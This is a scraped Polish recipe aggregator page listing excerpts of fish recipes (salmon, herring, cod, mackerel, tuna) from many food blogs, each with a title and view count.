pożywną zapiekankę. Do jej wykonania użyłam makaronu kolanka, świeżego szpinaku, śmietanki oraz mozzarelli, dzięki czemu zapiekanka jest bardzo kremowa i delikatna w smaku. Szczególnie przypadnie ona do gustu wielbicielom ryb, ponieważ znakomitym dodatkiem jest w niej wędzony łosoś, który w połączeniu z pomidorkami koktajlowymi i czosnkiem smakuje nieziemsko! Składniki: 400g makaronu kolanka ugotowanego al dente 500g świeżego szpinaku 2 kulki

Życie ze smakiem
Pikantny łosoś pachnący Azją 134

Delikatna ryba w aromatycznej, ostrej marynacie na bazie smaków kuchni azjatyckiej: ciemnego sosu sojowego, pachnącego świeżego imbiru, orzeźwiającej limonki, chrupiącego sezamu i pikantnej małej papryczki. Składniki: 400g fileta z łososia oliwa z oliwek sól pieprz Marynata: 1 czerwona cebula 3cm świeżego imbiru 2 ząbki czosnku 1 mała papryczka chilli 1 limonka 1 łyżka ciemnego sosu sojowego 1 łyżka oliwy

Szalona Kuchnia Eweliny
Zapiekanka z rybą 186

fenkuła 1 cebula 1/2 pora 1/2 chili 500 g filetów rybnych 1 kalafior lub 1 opakowanie mrożonego 1/3 szklanki mleka 1 łyżka masła … Czytaj dalej Zapiekanka z rybą

czarrna od kuchni
Postna grochówka ze śledziem 146

religii chrześcijańskiej najważniejszy jest Wielki Post, który zaczyna się we Wstępną Środą, nazywaną Popielcem, na 40 dni przez Wielkanocą. Kiedyś w tym okresie jadano zwykle żury, śledzie i inne ryby, kasze, ziemniaki. Na obiad gotowano zwykle dania jednogarnkowe i najczęściej powstrzymywano się od okraszania ich tłuszczem. Mięso było zakazane. Kiedyś też mocno przestrzegano tego postu. Dziś każdy robi jak uważa

Smaczna Pyza
Śledzie z suszonymi pomidorami i kaparami 144

tylko w karnawale, bo oprócz walorów smakowych są także bardzo zdrowe, a niestety niedoceniane. Są bogatym źródłem białka, witamin i mikroelementów. I choć zalicza się je do tłustych ryb, wcale nie są kaloryczne.  Składniki: 6 filetów śledzia a'la matias 2 cebule 10 suszonych pomidorów z zalewa 2 łyżki kaparów z zalewy oliwa ze słoika z suszonymi pomidorami oliwa

Smakowity Blog Kulinarny
Pasta rybna 140

Pasta rybna Składniki: Makrela wędzona - 2 szt masło - 2 łyżki cebula - 1/2 szt Przygotowanie: Makrele dokładnie obrać z ości. Cebulę obrać i razem z masłem i rybą, zemleć w maszynce do mielenia mięsa. Wszystko dokładnie wymieszać. Pastą smarować pieczywo. (function(d, s, id) { var js, fjs = d.getElementsByTagName(s)[0]; if (d.getElementById(id)) return; js = d.createElement(s); js.id = id; js.src = "//connect.facebook.net/pl_PL/all.js

Kuchnia Danusi
Karp w sosie słodko-kwaśnym 133

imbiru pieprz 2 łyżki oleju 2 łyżki octu 175 ml bulionu półtora łyżeczki mąki kukurydzianej sól Przygotowanie Marynata : połączyłem starty imbir, sos sojowy i wino. Marynatą posmarowałem sprawioną rybę. Marynowałem 25 minut. Po wyjęciu ponacinałem z obu stron w romby. Mąkę przesiałem, wlałem 150 ml wody, zmiksowałem, odstawiłem. W tym czasie oczyściłem i drobno posiekałem czosnek, imbir, dymki i chilli

R'n'G Kitchen
Pasta z makreli 190

Składniki : jedna makrela 1 cebula 1 jajko mały kawałek sera żółta ok. 5-8 dag majonez, ewentualnie musztarda pieprz czarny Przygotowanie : Rybę obrać ze skóry i ości, rozdrobnić Pokrojoną drobno cebulę sparzyć wrzątkiem na sicie, osączyć Ugotowane jajko rozdrobnić, ser zetrzeć na tarce, wszystkie składniki połączyć Dodać majonez, ewentualnie ciut musztardy i pieprz do smaku

Proste Potrawy
Dorsz w sosie pomidorowym z oliwkami 123

mogłabym gotować codziennie i każdemu (kogo lubię). Jakiś czas temu zrobiłam kurczaka w podobnym sosie i postanowiłam to samo zrobić z rybą. Wyszło dokładnie tak jak chciałam. My się chyba trochę w d poprzewracało, bo usłyszałam właśnie: "dobre, ale sos taki zwyczajny". Chociaż w sumie lepiej to, niż: "lepsze byłoby z krową". Składniki: 250 g polędwicy z dorsza 10 czarnych

Kardamonovy
Curry z dorsza ze skórką mandarynkową. 163

pocięte na cieniutkie paseczki, cukier oraz 150 ml wody. Posolić do smaku. Gotować 15 minut. Dodać dorsza pokrojonego na kawałki, przykryć patelnię pokrywką i gotować kilka kolejnych minut, aż ryba będzie gotowa. Podawać z dużą ilością posiekanej natki kolendry lub pietruszki. Także z młodym szpinakiem

zadanie-gotowanie
Sałatka z czerwonej kapusty z pstrągiem i mango 118

Polecamy Wam ten przepis jako sposób na podanie wędzonego pstrąga, któremu saute brakuje wyrazu (w przeciwieństwie np. do wędzonego węgorza czy dorsza). Jeśli Agnieszka, która generalnie nie przepada za rybami, zakochała się w tej sałatce, to znaczy, że naprawdę jest warta spróbowania. Składniki: Wędzony pstrąg Ćwiartka kapusty czerwonej Mała cukinia Mango Papryczka chilli Natka pietruszki Dresing: Łyżeczka musztardy ziarnistej Łyżeczka

Niedzielny kucharz
Risotto z pomidorami i dorszem 204

wlać porcję- najlepiej chochelką- gorącego bulionu. Kiedy ryż wchłonie cały płyn, dodać pomidory oraz kolejną porcję bulionu (postępować tak, aż do wykorzystania całego bulionu). Przy ostatniej dolewce bulionu dodać rybę pokrojoną w kostkę. Na koniec wrzucić masło i doprawić solą, pieprzem oraz odrobiną cukru. Smacznego

Kraina Miodem Płynąca
Duńskie śledzie z curry 135

centymetrowe kawałki. Śledzie zakwaszamy skrapiając je octem, mieszamy i odstawiamy. Przygotowujemy pozostałe składniki. Jabłko obieramy, kroimy w drobną kostkę, dorzucamy do śledzi. Kapary odsączamy z zalewy, siekamy. Dodajemy do ryby. Mieszamy wszystko z śmietaną, majonezem i musztardą. Cebulę obieramy i drobno kroimy. Na patelni rozgrzewamy olej, wrzucamy i szklimy cebulę. Do zeszklonej cebuli dodajemy curry i kurkumę, mieszamy i smażymy

Smakowity Blog Kulinarny
Stek z tuńczyka 140

Jeśli macie ochotę na rewelacyjną rybę to polecam Wam właśnie stek z tuńczyka. Nie jest to tanie danie, ale od czasu do czasu można przygotować sobie takie pyszności :) . Stek smażymy krótko, wszystko zależy jaka jest jego grubość. Musi on być w środku lekko różowy tak aby nie był suchy. Podałam go z sosem na bazie śmietany. Domownicy zachwyceni, a stek

O kuchni z uczuciem
Palony łosoś z kapustą kiszoną curry Karola Okrasy 172

oliwek do smażenia sól pieprz Foto Lidl Wykonanie: Filet z łososia bez skóry kroimy w plastry o grubości 2,5 cm. Na płaskim talerzu mieszamy wszystkie przyprawy do obtoczenia ryby. Obtaczamy w nich łososia, ale tylko z góry i z dołu, boki zostawiamy bez przypraw. Szalotkę i czosnek drobno siekamy, szklimy na rozgrzanej oliwie i maśle. Dodajemy pastę i proszek

Kulinarne przygody Gatity
Tatar z wędzonego łososia 230

Pomysł na smaczną przekąskę idealną zarówno na świąteczny stół, jak i sylwestrową czy karnawałową imprezę. Banalny w wykonaniu, genialny w smaku tatar z wędzonego łososia. Wiecie, że uwielbiam ryby. Ta przystawka jest prawdziwą gwiazdą na karnawałowym stole. Tatar, ale nie z mięsa i nie surowy. Wędzony łosoś z ostrą cebulką i kwaśnym ogórkiem, to połączenie wręcz doskonałe. Te łososiowe kulki

Dietolog
Łosoś ze szpinakiem i sosem śmietanowo-serowo-koperkowym 129

Dzisiaj na obiad przygotowałam dla Was coś co rozpływa się w ustach. Idealnie połączone składniki tworzą jedną całość. Ryba może być dowolna - ja wybrałam pieczonego łososia bo akurat kawałek został mi z kolacji. Szpinak w tym przypadku jest świeży a dobór serów zależy tylko od Waszych kubków smakowych. To co? Zaczynamy gotować? Składniki : * 200g łososia pieczonego bądź wędzonego

Magiczne Życie Marty
makrela wędzona do pieczywa... 128

potrzeba, szczypiorek 1 pęczek, pieczywo ciemne - ile potrzeba świeżą makrelę wędzoną obrać dokładnie z ości, wkładać do miski ogórek kiszony, cebulę białą pokroić w drobną kostkę i wsypać do ryby dodać świeżo mielony czarny pieprz, wlać odpowiednią ilość oleju rzepakowego wszystko widelcem dobrze rozgnieść, połączyć składniki na pastę schować do lodówki na godzinę, aby smaki się przegryzły, podać z ciemnym

W Mojej Kuchni Lubię
Śledzie smażone w cieście 173

mój pierwszy przepis na śledzie, które… nie smakują jak śledzie 😉 . Śledzie smażone w cieście smakują bardziej jak jakaś inna ryba (filet panierowany), a przez to przypadną do gustu nawet osobom, które nie przepadają za ich smakiem.… Artykuł Śledzie smażone w cieście pochodzi z serwisu Kolorowy Przepisownik

Kolorowy Przepisownik
Sałatka śledziowa na smażonych ziemniaczkach 146

moim domu Wigilia jest tradycyjnie bezmięsna. Duża ilość potraw to wariacje na temat ryb. Chętnie eksperymentuję, wypróbowuję dania z różnych regionów Polski albo po prostu modyfikuję znaną mi klasykę. Dzisiaj pyszna sałatka śledziowa- przepis do wykorzystania nie tylko przy okazji Świąt. Zwykle w swoim składzie ma gotowane ziemniaki, a ja postanowiłam ten składnik lekko zaczarować i może Was zaskoczyć? Czytaj

Pichceniomania
Dorsz pieczony na ryżu z warzywami 105

pokroić w cienkie plasterki.  Na patelni rozgrzać oliwę. Przesmażyć paprykę z cebulą do zeszklenia. Dodać plasterki cukini, smażyć jeszcze chwilę. Na patelnię wyłożyć ryż, całość dokładnie mieszać. Rybę przyprawić solą i pieprzem (jeśli jest mrożona - rozmrozić wcześniej i usunąć nadmiar wody).  Do naczynia żaroodpornego przełożyć ryż z warzywami. Na wierzchu ułożyć kawałki dorsza i posypać go talarkami cebuli

Zielona Kuchnia
PIECZONY ŁOSOŚ Z DRESSINGIEM TAHINI 159

pyszne i bogate w smaku.  Dzięki krótkiemu pieczeniu w wysokiej temperaturze łosoś zachowuje soczystość i delikatność, a w kuchni nie ma brzydkiego zapachu, który zazwyczaj pozostaje po smażeniu ryby. Pestki granatu przyjemnie strzelają podczas jedzenia, orzeźwiając całe danie i nadając mu wyrazistości. SKŁADNIKI / 4-6 porcji 600-800 g filetu z łososia bez skóry 1 ząbek czosnku, starty

cool and minty
Śledź smażony w cieście z mango 158

przepis i dla tych którzy śledzie uwielbiają i dla tych którzy jeszcze nie docenili ich smaku, ale za to lubią smażoną rybę z ciekawymi dodatkami. Tak. Dziś słonego śledzia połączyłam z salsą z mango z dodatkiem chilli. Ale to pyszne Do przygotowania śledzia użyłam dobrej klasy matiasów, które jak zwykle wymoczyłam wcześniej. Ważne jest to aby moczyć je w zimnej

nietylkopasta.pl
Sałaka śledziowa z buraczkami 144

święta Wigilia i Boże Narodzenie bez śledzia nie istnieją! I tak pewnie jest też w większości polskich domów. Przecież śledź to ukochana przez nas ryba, która w okresie zimowym dosyć często gości na naszym stole. Można go przygotować na milion sposobów, inspiracje znajdziecie poniżej: Śledź remoulade z selerem Śledź w sosie musztardowym Śledź z cebulą i jabłkiem Korzenny śledź

Kulinarne przygody Gatity
Śledź po polsku 190

może śledź po japońsku? Tak nazwałam klasycznego śledzia zwanego w Polsce śledziem po japońsku, danie rodem z PRL. Ten śledź z Japonią nie ma nic wspólnego, tak samo jak ryba po grecku, ruskie pierogi, czy fasolka po bretońsku. Geneza nazwy nie jest zbyt ważna, najważniejszy jest smak, a ten jest wyśmienity. W tym daniu są składniki tradycyjnej polskiej kuchni: śledzie

Damsko-męskie spojrzenie na kuchnię
Makaron z łososiem, szpinakiem i suszonymi pomidorami 185

następnie dokładnie suszymy. Oprószamy solą i pieprzem.  Na patelni rozgrzewamy olej i smażymy łososia z obydwu stron na złoty kolor (smażenie zaczynamy od strony ze skórką). Po usmażeniu rybę odkładamy na bok i zdejmujemy z niej skórę. Odlewamy nadmiar tłuszczu z patelni i z powrotem podgrzewamy. Na gorący tłuszcz wrzucamy zmiażdżony czosnek, pokrojone w paski pomidory suszone oraz liście

Qchnia po prostu
Tatar ze śledzia 187

Dlatego dzisiaj coś pysznego i ładnego zarazem. Przedstawiamy tatar ze śledzia, który z pewnością będzie ozdobą każdego wigilijnego stołu. Dla nieprzekonanych zapraszamy po  przepis na tatar z wędzonej ryby (klik ), a dla śledziolubnych przedstawiamy przepis poniżej :) SKŁADNIKI (dla 2 osób): 1 filet ze śledzia kilka gałązek natki pietruszki 1 ogórek kiszony 1/2 średniej czerwonej cebuli 1 łyżka rodzynek

Kuchnia od dwojga
Sałatka śledziowa z pomidorowym serkiem wiejskim na krakersach 276

Jeżeli chcemy uzyskać śledzie bardziej pikantne polecam zamienić ketchup łagodny na ostry. Przepis dodaję do akcji konkursowej #kotlin #iloveketchup #smaknr1 #BEZograniczen Kategoria: A-Z WYTRAWNIE , Boże Narodzienie , Dania z rybą , Na specjalne okazje , Przystawki i przekąski , sałatki i surówki Tagged: ketchup , serek wiejski , śledzie

https:KKuchniaMniam
Pomidorowe kotlety z tuńczyka 115

konserwowej 1 jajko bułka tarta smalec do smażenia sól, pieprz     Przygotowanie   Normal 0 21 false false false MicrosoftInternetExplorer4 Pomidory sparzamy, obieramy ze skóry, usuwamy gniazda nasienne. Rybę mielimy razem z pomidorami, papryką, cebulą i czosnkiem. Do smaku doprawiamy solą, pieprzem, wbijamy jajko, wsypujemy bułkę tartą i dokładnie wyrabiamy. Następnie formujemy kotlety, obtaczamy w bułce tartej i smażymy

R'n'G Kitchen
Śledź w curry 139

Można powiedzieć, że wzorowo się wywiązuję z niedawnej obietnicy. Bardzo rybnie się zrobiło ostatnio na blogu, a to z pewnością jeszcze nie koniec. Po drugie, zaczynają

gotować!
Zapiekanka jaglana z cukinii i łososia 132

oczkach lub na tarce do szatkowania kapusty, posypujemy delikatnie solą i odstawiamy, aby puściła wodę. 3. Marchewki pokroić obieraczką do warzyw, aby wyszły paseczki lub zetrzeć na tarce. 4. Rybę pokroić w małe kawałki. 5. Naczynie żaroodporne smarujemy tłuszczem. Do większej miski przesypujemy ugotowaną kaszę, dodajemy cukinię dokładnie wyciśniętą z wody, marchewkę i roztrzepane jajo. Przyprawiamy wedle uznania i wszystko

Zdrowie i pysznie na talerzu
Tajskie kotleciki z dorsza 120

łyżkę sosu sojowego - 1 czubatą łyżeczkę czerwonej pasty curry - 1 małą papryczkę chili bez pestek - garść posiekanej kolendry - sok z połowy cytryny - szczyptę pieprzu - olej do smażenia 1. Rybę drobno siekamy i przekładamy do miski, a następnie dodajemy do niej resztę składników. Całość dokładnie mieszamy. 2. Z powstałej masy formujemy niewielkie kotleciki, które smażymy na rozgrzanym tłuszczu z obu stron

Bez Cebuli
Śledź smażony, marchewka i frytki z brukwi 173

Śledź smażony to szybki i tani obiad. Świeże śledzie należą do najtańszych ryb i niestety niedocenianych przez domowe gospodynie. My lubimy śledzie smażone . Śledzie smażone są bardzo smaczne, pożywne i można je podawać z różnymi przystawkami. Proponuję tartą marchewkę z feta i frytki z brukwi. Szukacie czegoś innego, chcecie urozmaicenia, frytki z brukwi ze smażonym śledziem i marchewką to jest

codojedzenia
Śledzie po kociewsku 416

Śledzie to jedne z moich ulubionych ryb. Możne je przygotować na setki sposobów i zawsze będą pyszne. Dzisiaj przedstawiam je po kociewsku z wędzoną makrelą – nie pomyliłam się, są z makrelą i nie tylko ale to już sprawdźcie sami. Koniecznie spróbujcie. Składniki: na dwie porcje 3 filety śledziowe solone ( ok. 200 g ) 8 g suszonych grzybów leśnych 2 łyżeczki koncentratu

Smaki Ewy
Sum po azjatycku 185

Składniki: 1/2 kg filetów z suma (lub dowolnej ryby) 1 cebula 2 ząbki czosnku 1 słoik krojonych pomidorów 2 mini papryczki kajeńskie suszone po łyżeczce kminku, kolendry, gorczycy i curry … Czytaj dalej Sum po azjatycku

czarrna od kuchni
Sałatka śledziowa z fasolą 256

zapraszam na stronę www.olejkonwenanse.pl po więcej inspiracji ;) Przepis bierze udział w akcji kulinarnej #OlejKonwenanse i #OlejWielkopolski Kategoria: A-Z WYTRAWNIE , Boże Narodzienie , Dania bez glutenu , Dania jednogarnkowe , Dania z rybą , sałatki i surówki Tagged: fasola , marchewka , papryka , pomidory , śledzie

https:KKuchniaMniam
Sałatka z wędzonym pstrągiem w jogurtowym sosie 151

Dzisiaj dla odmiany ryba. U mnie sałatka była na kolację, od Was zależy czy wykorzystacie ją na kolację czy śniadanie. Oczywiście ( jak ostatnio ) jest to danie dietetyczne. Składniki: na dwie porcje 260 g obranego wędzonego pstrąga 100 ml jogurtu naturalnego 2 ogórki konserwowe Kilka kawałków papryki konserwowej 2 garście mieszanki sałat ¼ małej cebuli Kilka gałązek koperku 1 spora łyżeczka chrzanu

Smaki Ewy
Sakiewki z ciasta francuskiego z kurczakiem 1262

jajkiem i posypujemy siekanym tymiankiem. Pieczemy w 180 stopniach do zrumienienia. Smacznego!     RADA: Farsz możesz oczywiście dowolnie modyfikować. Równie dobrze będzie smakować wegetariański z grillowanymi warzywami lub rybą i serkiem mascarpone

MarcinChef
Dorsz w szynce szwarcwaldzkiej na winno - śmietanowym sosie 134

wina półwytrawnego sól 3/4 szklanki śmietanki sos vinegrette odrobina wody ok 3 łyżki  pół łyżeczki cukru łyżeczka octu jabłkowego ząbek czosnku sól, pieprz dwie łyżki oleju Przygotowanie Mięso ryby owinąć szynką i podsmażyć na maśle po 2 min z każdej strony.  Następnie na tą patelnię wlać wino, po kilku minutach dodać śmietankę, posolić do smaku i zredukować. Wszystkie

Gaździnka warzy
Filet z łososia na parze z zielonymi plackami szpinakowymi i miętowym sosem 163

ząbki czosnku rozgnieść (razem z łupinką, bez obierania) i wrzucić do łososia. Na wierzchu ułożyć gałązki ulubionych ziół – może to być na przykład tymianek, rozmaryn, oregano. Rybę przyrządzać 30 minut na parze (ja używam piekarnika z funkcją parowania, ale możecie równie dobrze przyrządzić ją np. w bambusowym pojemniku do parowania). W międzyczasie przygotować placuszki. Opłukane liście szpinaku, 1/2 dojrzałego

Dietolog
Polędwica z dorsza w otrębach orkiszowych. 155

Składniki:  polędwica z dorsza - ilość zależna od ilości głodomorów ;) otręby orkiszowe jajko sól, pieprz biały sok z cytryny masło Rybę, płuczemy i osuszamy w ręczniku papierowym. kroimy na kawałki i każdy z nich solimy pieprzymy i skrapiamy sokiem z cytryny z każdej strony. Wkładamy na jakiś czas do lodówki. Na patelni roztapiamy masło na najmniejszym ogniu (jeśli będzie

Moje-pitraszenie
PASTA Z WĘDZONEJ MAKRELI / SMOKED MACKEREL PASTE 117

więcej soli nie potrzeba, ale oczywiście to zależy tylko od Ciebie. Podobnie jest z konsystencją, moim zdaniem nie trzeba dodawać do pasty jogurtu, gdyż tłuszcz zawarty w rybie doskonale łączy składniki. Jeśli jednak uważasz, że past jest z gęsta – dodaj łyżkę jogurtu i wymieszaj dokładnie. Take all the fishbones out of the mackerel, nobody likes fishbones, even the tiniest

Martyna Cooks
Pomysł na rybę – sałatka z kalafiora, ciecierzycy oraz wędzonej makreli z winegretem cytrynowym. 150

Makrela to dość tłusta ryba, jednak pod względem dietetycznym spożywana w umiarkowanych ilościach sprzyja naszemu zdrowiu np. kwasy tłuszczowe omega 3 mogą spowolnić procesy starzenia się komórek, również obniżyć poziom trójglicerydów. Dlaczego w umiarkowanych ilościach i ile to jest? Wędzona makrela może zawierać nitrozaminy lub dioksyny powstałe w procesie wędzenia, porcja makreli wędzonej (50g) raz na 2 tygodnie moim zdaniem

wysmienity
Sum na surówce z fenkułu i selera oraz "Czerwony rower" 189

Dawno nie było przepisu na ryby, więc dziś dzielę się sposobem podania suma. Można go zrobić w śmietanie, ale o wiele zdrowiej jest go podać na surówce. Wykorzystałam do niej jesienne warzywa, które w tym roku są niezwykle soczyste. Składniki (na 4 porcje): 2 płaty suma sól pieprz nasiona kolendry 2 łyżki oleju do smażenia 3 łyżki słonecznika fenkuł

Weekendy w domu i ogrodzie
Makaron z tuńczykiem, czyli pyszny przepis na szybki obiad 262

całym dniu z pracy to naprawdę nie mam czasami (;)) siły stać nad garnkami. Makaron z tuńczykiem to właśnie taki przepis.     Makaron podnosi poziom endorfin czyli hormonu szczęścia, ryby są zdrowe a połączenie razem jest pyszne i tego nam trzeba, prawda ? Oj, tak. Czwartek wieczorem otwieram lodówkę a tam prawie samo światło.. co tu zrobić dzieciom na obiad

Kuchnia na wzgórzu
Kanapki z serkiem wiejskim i rybą 179

Dzień zawsze dobrze jest zacząć od porządnego, pożywnego i smacznego... Artykuł Kanapki z serkiem wiejskim i rybą pochodzi z serwisu CookMagazine

COOKMAGAZINE
Pasta z makreli i jaj 114

jaja ugotowane na twardo pół wędzonej makreli 1ogórek małosolny/kiszony pół małej cebulki łyżeczka musztardy 1łyżka jogurtu naturalnego lub majonezu biały pieprz szczypior kolendra Wykonanie: 1. Oddziel mięso ryby od ości i skóry. Dokładnie sprawdź czy nie zostały ości. 2. Jaja ugotuj,obierz i posiekaj w kosteczkę. 3. Cebulę obierz i posiekaj. Ogórka posiekaj. 4. Do michy wrzuć wszystkie składniki

U Fiolki
POLĘDWICZKA Z DORSZA Z PURE Z BATATÓW I SOSEM MANGO 163

Dorsza osuszyć ręcznikami papierowymi, oprószyć na bogato solą i pieprzem z każdej strony, smażyć na rozgrzanym oleju z obu stron na lekko rumiany kolor.  Rybę podawać z pure z batatów, groszkiem cukrowym polaną sosem z mango

pieprzny smaczek
Sałatka śledziowa 127

pieczarki, które oboje z Piotrkiem uwielbiamy. Sałatka jest bardzo szybka, smaczna i można ją przygotować na kilka dni przed podaniem. Wtedy naciągnie przyprawami i będzie jeszcze lepsza. Pamiętajcie, żeby ryba z której przygotowujecie sałatkę była dobrej jakości. Ja osobiście polecam filety Lisnera. Są dobrze oprawione, jędrne i świeże. Składniki: 200g filetów śledziowych Lisner w oleju kilka dużych pieczarek konserwowych

Życie ze smakiem
STEK Z TUŃCZYKA Z SALSĄ Z KOMOSY RYŻOWEJ 149

Ryby są pyszne przygotowane na wiele sposobów, czy to pieczone, grillowane, pieczone lub w formie steku. Dzisiaj przygotowałam bardzo szybkie danie, stek z tuńczyka z salsą z komosy ryżowej, mango oraz borówek. Połączenie bardzo ciekawe i smaczne, polecam.  SKŁADNIKI :  1 świeży stek z tuńczyka około 300 g  sól, pieprz do smaku 2 łyżki oliwy z oliwek

Kulinarne Fantazje Marioli
Makaron z halibutem, pomidorkami i cukinią 126

przepisu na opakowaniu al dente. Na oliwie z oliwek smażę posiekaną cebulę i czosnek. Dodaję pokrojoną w plastry cukinię i całość smażę kilka minut. Doprawiam solą, pieprzem i majerankiem. Rybę kroję w kostkę a pomidory na pół. Na patelnię wrzucam pokrojone składniki smażę 3-4 minuty. Na koniec dodaję ugotowany makaron i natkę pietruszki. Podaję od razu.  Smacznego, Klaudia

Mango Papaja
Halibut pieczony w papilotach z risotto cytrynowym z cukinią 147

przez 8-10 minut. Do ugotowanego ryżu dodaję sól i pieprz oraz skórkę z limonki i cytryny. Dodaję masło oraz parmezan i całość dokładnie mieszam. Porcję risotto podaję z rybą.  Smacznego, Klaudia

Mango Papaja
Domowy paprykarz szczeciński 370

liście laurowe 1 łyżeczka cukru sól mielony biały pieprz Jak przygotować domowy paprykarz: Ryż gotujemy zgodnie z przepisem na opakowaniu, studzimy. Makrelę wędzoną obieramy ze skóry i usuwamy ości. Rybę rozdrabniamy widelcem. Cebulę kroimy w drobną kostkę. Marchewkę obieramy, myjemy i ścieramy na tarce o dużych oczkach. Na patelni rozgrzewamy olej, wsypujemy cebulkę i szklimy. Dodajemy tartą marchewkę oraz liście

Damsko-męskie spojrzenie na kuchnię
ŁOSOŚ PIECZONY w SZYNCE PARMEŃSKIEJ 110

bazylią. Można skropić dobrej jakości oliwą. Jak pewnie zauważyliście nie podałam informacji o przyprawianiu łososia. Szynka parmeńska jest na tyle słona i aromatyczna, że wystarczy, nie trzeba dosalać ryby. Dodatek szałwii nadaje dodatkową nutę idealnie komponującą się z daniem. 1 porcja to ok. 365kcal , węglowodany: 20g, białko: 35g, tłuszcz: 16g SMACZNEGO

Dietolog
TUŃCZYK w PANIERCE z PIEPRZU na PUREE z ZIELONEGO GROSZKU i MARCHEWKI 148

masła szczypta gałki muszkatołowej sól, pieprz do smaku garść rukoli łyżeczka ziaren sezamu Wyciągnąć tuńczyka z lodówki i odwinąć. Oliwę wymieszać z musztardą, miodem i sosem sojowym, mieszaniną posmarować rybę. Rozsypać pieprz na papierze do pieczenia (ważne, żeby był tłuszczoszczelny) i przycisnąć do niego steki, żeby panierka pieprzowa się przykleiła. Na dużej patelni bardzo mocno rozgrzać łyżkę oliwy. Steki smażyć

Dietolog
Węgorz w galarecie :)) 228

Jestem córką rybaka i generalnie rybki mi się przejadły ale jest taki jeden gatunek ryb, który chyba nigdy mi nie zbrzydnie – to węgorz. Uwielbiam go pod każdą postacią – najsmaczniejszy jak dla mnie wędzony, drugie miejsce w galarecie no i na trzecim miejscu po prostu smażony prosto z gorącej patelni :)). Udało mi się zdobyć nieco węgorza i nie mogłam

Pieguskowa Kuchnia
Tarta caprese z bakłażanem i tuńczykiem 216

mozzarelli. Wszystko posmarować oliwą doprawioną oregano i solą. Wstawić do piekarnika nagrzanego do 180*C i piec przez około 40 minut. Smacznego :) Kategoria: A-Z WYTRAWNIE , Dania z rybą , Obiad , Tarty i kruche ciasta Tagged: bakłażan , mozzarella , pomidory , przecier pomidorowy , tuńczyk

https:KKuchniaMniam
Łosoś z makaronem ryżowym i szpinakowym pesto 198

sól/pieprz 3 łyżki startego parmezanu łyżka soku z cytryny 5 pieczarek ząbek czosnku mała cebula Przygotowanie: Łososia gotować na parze przez około 15 minut ( to zależy od grubości ryby, jeśli jest dość gruba, to należy gotować około 20 minut ). Lekko posolić po wierzchu. Makaron ryżowy zalać wrzątkiem w garnku i przykryć pokrywką. Trzymać w cieple przez 15 minut następnie

Jaglusia
Szaszłyki z łososiem i brokułem z grilla 107

teriyaki kawałek cytryny pieprz sól Drewniane patyczki do szaszłyków wkładamy do miski z wodą i odrobiną soku cytryny (1 łyżeczkę). Łososia oczyszczamy – zdejmujemy skórę i usuwamy ewentualne ości. Rybę kroimy w średniej wielkości kostkę. Dodajemy sos teriyaki, pieprz, sól i skrapiamy lekko cytryną (1 łyżeczkę). Dokładnie mieszamy. Brokuła dzielimy na mniejsze różyczki. Można go lekko obgotować, ale nie jest

PatiGotuje
Dorsz w cieście piwnym. 128

miski dodajemy piwo, mąkę, proszek do pieczenia, sól i dokładnie mieszamy. Rozgrzewamy olej na patelni. Filety zanurzamy w cieście i smażymy na średnim ogniu aż uzyskamy złoty kolor. Rybę można podać w towarzystwie frytek i kapusty kiszonej. Smacznego

Magia jedzenia.
Suszone przysmaki dla psa 196

wątróbka. Jimmy obstawiał kuchnię od samego rana, a przysmaki zniknęły w oka mgnieniu. Zróbcie je, a Wasze psiaki już nigdy nawet nie powąchają tych sklepowych. ;)   Suszone mięso i ryby dla psa: ok. 30 wędzonych szprotek 200 g piersi z kurczaka 200 g mięsa z udek kurczaka 250 g wątroby indyczej papier do pieczenia patyczki do szaszłyków Mięso, którego używacie

Cooking Monster
pyszna makrela z jajkami... 150

twardo 4 sztuki "L", cebula 1 średnia, pieprz czarny grubo mielony 1 łyżeczka, majonez 5 łyżek, koperek 1/2 pęczka świeżą wędzoną makrelę dokładnie obrać z ości, do miski z rybą wsypac pieprz, cebulę pokrojoną w kostkę, dodac majonez i widelcem pognieść i połączyć składniki jajka ugotowane na twardo i wystudzone obrać i przez kratkę do jajek przecisnąć do makreli, dodać

W Mojej Kuchni Lubię
GRILLOWANY DORSZ Z RYŻEM I BROKUŁAMI 149

Propozycja na obiadek dla całej rodziny.Bardzo często robimy to danie ,zmieniamy rybę oraz rodzaj ryżu.Do tego dania użyłam ryżu kiełkującego firmy Gaba.Ale można użyć zwykłego czy brązowego ryżu. Ryż ten jest bardzo smaczny,mega sypki i szybko się go gotuje,nawet szybciej niż napisano na opakowaniu i zawiera wiele cennych wartości odżywczych. SKŁADNIKI 4 filety z dorsza takie

Mała w garnku miesza
Seleryba 176

Zawsze bardzo lubiłam ryby i były one tym zwierzęcym produktem, który odstawiłam na końcu. Tęskno mi było za nimi i zaczęłam szukać przepisu na coś podobnego w smaku. I byłam mile zaskoczona, kiedy przetestowałam przepis Jadłonomii i nie mogłam uwierzyć jak “rybowo” smakuje Seleryba jest stałą pozycja w naszym menu, która świetnie sprawdza się na obiad czy lunch – uwielbiamy

Lamarida.pl
Dorsz duszony z kurkami - szybki obiad na lato 144

śmietanę kremówkę i dusić razem przez kilka minut, by śmietana lekko zgęstniała na patelnię dołożyć filety dorsza, przykryć pokrywką i dusić około 6-8 minut, w zależności od wielkości ryby do sosu dodać posiekany koperek, posolić i oprószyć pieprzem kurki podałam z młodymi ziemniaczkami i fasolka szparagową

Gotuj zdrowo!Guten Appetit!
Pełnoziarniste burgery z łososiem, warzywami, ziołowym jogurtem i ketchupem 155

przepis na specjalne, lekkie burgery, bo grillowanie nie oznacza jedzenia tylko tłustych, mięsnych i ciężkostrawnych dań. Jako zdrowszą i lżejszą alternatywę, proponuję pełnoziarniste pieczywo podane z zielonymi warzywami, soczystą rybą, sosem jogurtowym z ziołami oraz ketchupem Kotlin Łagodny 60% mniej kalorii. Ketchup, który wykorzystałam do mojego dania, nie zawiera konserwantów oraz substancji wzmacniających smak. Jest też bezglutenowy, można więc

Mienta blog
10 przepisów na fit dania z grilla 460

Sałatka na grilla z kalafiorem Szaszłyki wegańskie Szaszłyki z grilla Grillowane ziemniaki Ziemniaki z grilla – przepis Grillowana cukinia z oscypkiem Grillowana cukinia z oscypkiem Dorada z grilla Fit ryba z grilla Faszerowany bakłażan Faszerowany bakłażan z grilla Szaszłyki z krewetek Szaszłyki z krewetek z grilla Grilowane brzoskwinie z serkiem waniliowym Fit dania na grila – brzoskwinie z serkiem waniliowym

Mama z miasta
Pissaladiere. Pizza z anchois. 148

